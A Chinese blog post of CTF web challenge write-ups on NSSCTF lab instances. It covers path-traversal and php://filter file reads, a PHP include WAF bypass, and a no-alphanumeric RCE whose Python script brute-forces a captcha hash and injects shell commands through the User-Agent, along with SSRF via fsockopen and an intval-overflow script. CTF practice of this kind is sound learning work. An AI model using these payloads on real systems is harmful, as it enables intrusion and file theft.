**file:///fl4g 的快照如下:**  
  
你应该看看除了index.php,是不是还有个ha1x1ux1u.php

那就拼接一下呗,输入http://node5.anna.nssctf.cn:23308/ha1x1ux1u.php,得到源码

<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file); 

file_get_contents刚好符合ssrf漏洞高危函数file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()众多家人的一员。参考 :SSRF漏洞(原理、挖掘点、漏洞利用、修复建议) - Saint_Michael - 博客园

既然如此,结合//flag in /flag,推测存在目录穿越漏洞。于是构造payload:http://node5.anna.nssctf.cn:23308/ha1x1ux1u.php?file=../../../../flag
Snipaste_2025-08-09_23-02-58

或者用PHP伪协议构造payload,http://node5.anna.nssctf.cn:23308/ha1x1ux1u.php?file=php://filter/read=convert.base64-encode/resource=/flag后,base解码。
Snipaste_2025-08-09_23-03-57

[CISCN 2023 西南]seaclouds

第1次审计Java反序列化,先放一放。原因是做脚本小子很容易,但是其中的原理更重要,而且本人之前没有训练JAVA的意识。再加上这是半决赛的大题,暂且放一放,后续有空再回来看看。
记几道CTF-Java反序列化题目-先知社区

Java反序列化基础篇-01-反序列化概念与利用 - FreeBuf网络安全行业门户

[鹏城杯 2022]简单包含

尝试一下目录穿越和PHP伪协议的读取,访问http://node4.anna.nssctf.cn:28280/后,随即POST勾选flag=../../../../../../../../flag.phpflag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php

均被WAF绕过去了,只是一味地返回

nssctf waf! <?php

highlight_file(__FILE__);

include($_POST["flag"]);

//flag in /var/www/html/flag.php;

一般来说,php网站都有index.php文件。当读取index.php时,构造的paylod: flag=php://filter/read=convert.base64-encode/resource=index.php
返回,

PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4

用以下命令base64解密一下。

echo "PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4" | base64 -d
得到。

<?php

$path = $_POST["flag"];

if (strlen(file_get_contents('php://input')) < 800 && preg_match('/flag/', $path)) {
    echo 'nssctf waf!';
} else {
    @include($path);
}
?>

<code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />include(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">"flag"</span><span style="color: #007700">]);<br /></span><span style="color: #FF8000">//flag&nbsp;in&nbsp;/var/www/html/flag.php;</span>
</span>
</code><br /> 

欧?当输入的文件被读取的长度大于800时,我们便能够用文件包含的方式读取到敏感信息。当然路径要与flag的路径匹配(用PHP伪协议)。

因而,构造payload:
http://node4.anna.nssctf.cn:28280/demo=PD9waHAKCiRwYXRoID0gJF9QT1NUWyJmbGFnIl07CgppZiAoc3RybGVuKGZpbGVfZ2V0X2NvbnRlbnRzKCdwaHA6Ly9pbnB1dCcpKSA8IDgwMCAmJiBwcmVnX21hdGNoKCcvZmxhZy8nLCAkcGF0aCkpIHsKICAgIGVjaG8gJ25zc2N0ZiB3YWYhJzsKfSBlbHNlIHsKICAgIEBpbmNsdWRlKCRwYXRoKTsKfQo/PgoKPGNvZGU+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDAwIj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMEJCIj4mbHQ7P3BocCZuYnNwOzxiciAvPmhpZ2hsaWdodF9maWxlPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPl9fRklMRV9fPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwNzcwMCI+KTs8YnIgLz5pbmNsdWRlKDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwQkIiPiRfUE9TVDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDc3MDAiPls8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjREQwMDAwIj4iZmxhZyI8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA3NzAwIj5dKTs8YnIgLz48L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjRkY4MDAwIj4vL2ZsYWcmbmJzcDtpbiZuYnNwOy92YXIvd3d3L2h0bWwvZmxhZy5waHA7PC9zcGFuPgo8L3NwYW4+CjwvY29kZT48YnIgLz4&flag=php://filter/read=convert.base64-encode/resource=/var/www/html/flag.php // POST后,返回

Snipaste_2025-08-10_20-48-43

当我们输入命令echo "PD9waHAgPSdOU1NDVEZ7MDcyODRiZmItNjdiOS00YWE4LWIyMDgtYzYzYzBkOGNjMmM2fSc7Cg==" | base64 -d时,便能够得到

<?php ='NSSCTF{07284bfb-67b9-4aa8-b208-c63c0d8cc2c6}'

[极客大挑战 2020]rceme

查看源码是vim泄露。于是url拼接.index.php.swp。
Snipaste_2025-08-11_17-34-12

·vim -r .index.php.swp交换文件后得到
Snipaste_2025-08-11_17-32-22

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        //获得验证数字
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                //post传的code经过md5加密前五个字符,要等于session的code
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                //修正符:x 将模式中的空白忽略; 
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }

根据

/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm

//输入内容不能包含字母、数字、单引号、双引号、反引号、空格、逗号、点、减号、加号、等号、斜杠、反斜杠、小于号、大于号、美元符号、问号、脱字符、竖线等

可知,是无字母的RCE。发现没有过滤~取反的符号,但是过滤了/[^\s\(\)]+?\((?R)?\)/等众多字符。

本来想靠着 [SWPUCTF 2021 新生赛]hardrce里的思路,利用url编码进行RCE的构造(system(next(getallheaders()));),但是发现好像因为动态防御机制被WAF禁用了。

计算PIN码的过程。破解md5的编写思路利用一个大范围的字典事先对不确定的结果进行存储,然后与指定的md5哈希值比对。如果实际存储的md5值与预定的md5值相等,那么就打印该数字,然后将每一位正确的字符串拼接起来就得到了完整的结果。这是爆破的常见思路之一,此方法也称彩虹表。

下面各个函数的调试、构造过程,建议参考极客大挑战2020-rceme-wp | Antel0p3's blog

import hashlib
import math
import requests
import re

def one(s):		
    ss = b"[~"
    for each in s:
        ss += (255 - ord(each)).to_bytes(1, 'little')
    ss += b"][~\xCF]("
    return ss
def get_not(a):	
    # 将命令转为[~\x8F\x8D\x96\x91\x8B\xA0\x8D][~\xCF]();的形式
    #即化为16进制的东西之前,还必须对原来的系统函数进行取反
    aa = a.split("(")
    s = b""
    for each in aa[:-1]:
        s += one(each)
    s += b")" * (len(aa) - 1) + b";"
    # print(s)
    return s

url = 'http://node4.anna.nssctf.cn:28438/'
sess = requests.session()	# 注意这里用session()是为了保持会话状态
res = sess.get(url=url)
sum = re.findall(',0,5[)]==(.....)', res.text)[0]	# 获取5位哈希值
print(sum)

code = ''	
for i in range(800000):
    md5 = hashlib.md5(str(i).encode())
    if md5.hexdigest()[:5] == sum:
        print(i)
        code = i
        break

headers = {"User-Agent": "ls /;cat /flll1114gggggg"}
res = sess.post(url=url, headers=headers,data={"cmd":get_not('system(next(getallheaders()));'), "code":code}) //json下cmd参数的调试过程,建议阅读链接更容易理解其本质
print(res.text)


整体思路:可以看到除了绕过md5和sha1等哈希函数外,还利用了众多无回显RCE函数技巧(system(next(getallheaders())))以及UA注入,看来要挖到rce还真不容易啊。

[HNCTF 2022 WEEK2]ez_ssrf

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

遇事不要慌,分析关键点,发现可以的注入点是fsockopen。

PHP: fsockopen - Manual查看相关资料可知,都需要

$out = "GET / HTTP/1.1\r\n";  
$out .= "Host: www.example.com\r\n";   //这里替换为127.0.0.1
$out .= "Connection: Close\r\n\r\n";

这些内容才能够进行读写操作。

将其base加密一下,得到R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=。然后,通过GET型填入data,host,port等参数。
Snipaste_2025-08-15_22-45-53

[NCTF 2018]小绿草之最强大脑

Snipaste_2025-08-16_22-12-22

dirsearch -u "http://node4.anna.nssctf.cn:28025/"  -t 30 -e *

目录扫描得到备份文件index.php.bak

[1:58:45] 301 -  335B  - /css  ->  http://node4.anna.nssctf.cn:28025/css/  
[21:58:59] 301 -  335B  - /img  ->  http://node4.anna.nssctf.cn:28025/img/  
[21:59:01] 200 -    1KB - /index.php                                        
[21:59:01] 200 -    1KB - /index.php/login/
[21:59:01] 200 -  818B  - /index.php.bak                                    
[21:59:03] 301 -  334B  - /js  ->  http://node4.anna.nssctf.cn:28025/js/    
[21:59:04] 200 -  498B  - /js/ 

下载源码,得到

<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
	if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
		session_destroy();
		echo '
		<script language="javascript">  
		alert("怎么没算对呢?");  
		window.history.back(-1);  </script>';
	}
	else{
		if(intval(time())-$_SESSION['time']<1){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你手速太快啦,服务器承受不住!!!");  
			window.history.back(-1); </script> ';
		}
		if(intval(time())-$_SESSION['time']>2){
			session_destroy();
			echo '
			<script language="javascript">  
			alert("你算的太慢了少年!");  
			window.history.back(-1); </script> ';
		}
		echo '
		<script language="javascript">  
		alert("tql,算对了!!");  
	     </script> ';
		$_SESSION['count']++;
	}
}
?>

根据PHP官网得知intval的作用域:最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到2147483647。举例,在这样的系统上,intval('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。参考PHP: intval - Manual

我们随机输入一个大于21的数进行测试,从请求头UA查看到操作系统应该是64位的。
Snipaste_2025-08-16_22-27-34

初步代码审计,根据弹窗(alert("tql,算对了!!"),intval(time())-$_SESSION['time']这个值必须位于1到2之间。 (1<??<2)

这里我不知道怎么让时间延缓控制在1到2之间(sql注入里面可以用延时函数sleep(1.5),但是需要提交结果之后再调用sleep函数)。

这里直接采用大佬的脚本,并进行了略微的改造。
NCTF 2018 部分 Writeup | 国光

import requests
import re
import time

# 初始化会话和请求头
s = requests.Session()
url = "http://node4.anna.nssctf.cn:28025/"
number = "4200000000000000000000"  # 输入的数字

# 设置请求头
headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0',
}

r = s.get(url)

# 开始循环处理计算任务
while True:
    # 使用正则表达式提取公式
    num_pattern = re.compile(r'<div style="display:inline;">(.*?)</div>')
    num = num_pattern.findall(r.text)  # 提取页面中的公式部分

    formula = "9223372036854775807+" + ''.join(num)[:-1]
    print(f"计算公式: {formula}")

    try:
        ans = eval(formula)
        print(f"计算结果: {ans}")
    except Exception as e:
        print(f"计算错误: {e}")
        break

    # 准备提交的数据
    data = {
        "input": number,
        "ans": ans
    }

    r = s.post(url, headers=headers, data=data)
    print(r.text)

    time.sleep(1.2)


结果:
Snipaste_2025-08-16_22-47-30

posted @ 2025-07-13 14:34  河东式贺喜  阅读(141)  评论(0)    收藏  举报